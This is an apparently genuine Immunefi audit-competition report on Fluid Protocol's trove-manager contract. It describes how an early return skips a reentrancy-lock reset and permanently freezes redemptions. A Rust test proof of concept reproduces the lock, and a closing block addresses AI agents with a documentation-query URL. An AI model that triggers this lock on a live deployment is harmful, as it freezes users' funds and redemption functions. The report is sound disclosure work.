# #37671 \[SC-Critical] CRITICAL-02 / The contract could be permanently locked due to not reseting the

**Submitted on Dec 12th 2024 at 09:40:40 UTC by @Minato7namikazi for** [**IOP | Fluid Protocol**](https://immunefi.com/audit-competition/iop-fluid-protocol)

* **Report ID:** #37671
* **Report Type:** Smart Contract
* **Report severity:** Critical
* **Target:** <https://github.com/Hydrogen-Labs/fluid-protocol/tree/main/contracts/trove-manager-contract/src/main.sw>
* **Impacts:**
  * Protocol insolvency

## Description

In the `trove-manager-contract/src/main.sw`

There is a path in "internal\_redeem\_collateral\_from\_trove" function that leads to an early return statement without resetting the reentrancy lock.

This causes the contract to remain permanently locked, effectively freezing the redemption functionality

### Details & Impact

The function `internal_redeem_collateral_from_trove` uses a storage boolean ( lock\_internal\_redeem\_collateral\_from\_trove ) to prevent reentrancy attacks. The intended pattern is:

1. At the start of the function, set the lock to `true`.
2. Execute the redemption logic.
3. At the end of the function, set the lock back to `false`.

This ensures that if the function reverts or completes normally, the lock is reset, and subsequent calls are not blocked.

within this function, there is a conditional branch that can cause an early return before reaching the lock reset :

```
// ... calculations and checks above ...

if (new_debt < MIN_NET_DEBT) {
    single_redemption_values.cancelled_partial = true;
    return single_redemption_values;
}

// ... rest of the function that eventually resets the lock ...
```

In this scenario, if `new_debt < MIN_NET_DEBT`, the function returns early

never reaching the code that set `storage.lock_internal_redeem_collateral_from_trove` back to `false`

As a result, the lock remains permanently engaged. Once locked, no subsequent calls that require this lock to be `false` can proceed, effectively breaking the redemption functionality

Causing a Critical Protocol insolvency

PoC in "trove-manager-contract/tests/failure.rs"

## Proof of Concept

```
#[tokio::test]

async fn fails_with_stuck_redemption_lock() {

let (contracts, _admin, mut wallets) = setup_protocol(5, false, false).await;

  

oracle_abi::set_debug_timestamp(&contracts.asset_contracts[0].oracle, PYTH_TIMESTAMP).await;

pyth_oracle_abi::update_price_feeds(

&contracts.asset_contracts[0].mock_pyth_oracle,

pyth_price_feed(10),

)

.await;

  

let wallet1 = wallets.pop().unwrap();

let wallet2 = wallets.pop().unwrap();

  

// Setup initial balances

let balance = 25_000 * PRECISION;

token_abi::mint_to_id(

&contracts.asset_contracts[0].asset,

balance,

Identity::Address(wallet1.address().into()),

)

.await;

token_abi::mint_to_id(

&contracts.asset_contracts[0].asset,

balance,

Identity::Address(wallet2.address().into()),

)

.await;

  

// Create troves

let borrow_operations_wallet1 = ContractInstance::new(

BorrowOperations::new(

contracts.borrow_operations.contract.contract_id().clone(),

wallet1.clone(),

),

contracts.borrow_operations.implementation_id.clone(),

);

  

let borrow_operations_wallet2 = ContractInstance::new(

BorrowOperations::new(

contracts.borrow_operations.contract.contract_id().clone(),

wallet2.clone(),

),

contracts.borrow_operations.implementation_id.clone(),

);

  

// first trove with debt that will be below MIN_NET_DEBT after partial redemption

borrow_operations_abi::open_trove(

&borrow_operations_wallet1,

&contracts.asset_contracts[0].oracle,

&contracts.asset_contracts[0].mock_pyth_oracle,

&contracts.asset_contracts[0].mock_redstone_oracle,

&contracts.asset_contracts[0].asset,

&contracts.usdf,

&contracts.fpt_staking,

&contracts.sorted_troves,

&contracts.asset_contracts[0].trove_manager,

&contracts.active_pool,

1_100 * PRECISION,

1_000 * PRECISION, // Initial debt

Identity::Address(Address::zeroed()),

Identity::Address(Address::zeroed()),

)

.await

.unwrap();

  
  
  

// second trove with normal amounts

borrow_operations_abi::open_trove(

&borrow_operations_wallet2,

&contracts.asset_contracts[0].oracle,

&contracts.asset_contracts[0].mock_pyth_oracle,

&contracts.asset_contracts[0].mock_redstone_oracle,

&contracts.asset_contracts[0].asset,

&contracts.usdf,

&contracts.fpt_staking,

&contracts.sorted_troves,

&contracts.asset_contracts[0].trove_manager,

&contracts.active_pool,

5_000 * PRECISION,

2_000 * PRECISION,

Identity::Address(Address::zeroed()),

Identity::Address(Address::zeroed()),

)

.await

.unwrap();

  

let protocol_manager_wallet1 = ContractInstance::new(

ProtocolManager::new(

contracts.protocol_manager.contract.contract_id().clone(),

wallet1.clone(),

),

contracts.protocol_manager.implementation_id.clone(),

);

  

let protocol_manager_wallet2 = ContractInstance::new(

ProtocolManager::new(

contracts.protocol_manager.contract.contract_id().clone(),

wallet2.clone(),

),

contracts.protocol_manager.implementation_id.clone(),

);

  

// First redemption - this should trigger the early return without resetting the lock

let _result = protocol_manager_abi::redeem_collateral(

&protocol_manager_wallet1,

900 * PRECISION, // Amount that would leave debt below MIN_NET_DEBT

1, // max_iterations

0, // partial_redemption_hint

Some(Identity::Address(Address::zeroed())),

Some(Identity::Address(Address::zeroed())),

&contracts.usdf,

&contracts.fpt_staking,

&contracts.coll_surplus_pool,

&contracts.default_pool,

&contracts.active_pool,

&contracts.sorted_troves,

&contracts.asset_contracts,

)

.await;

  

// Second redemption - this should fail due to the stuck lock

let result = protocol_manager_abi::redeem_collateral(

&protocol_manager_wallet2,

1_000 * PRECISION, // Normal redemption amount

1, // max_iterations

0, // partial_redemption_hint

Some(Identity::Address(Address::zeroed())),

Some(Identity::Address(Address::zeroed())),

&contracts.usdf,

&contracts.fpt_staking,

&contracts.coll_surplus_pool,

&contracts.default_pool,

&contracts.active_pool,

&contracts.sorted_troves,

&contracts.asset_contracts,

)

.await;

  

// The second redemption will fail with the lock error!

// ("Internal redeem collateral from trove is locked")

}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/fluid-protocol/37671-sc-critical-critical-02-the-contract-could-be-permanently-locked-due-to-not-reseting-the-boole.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
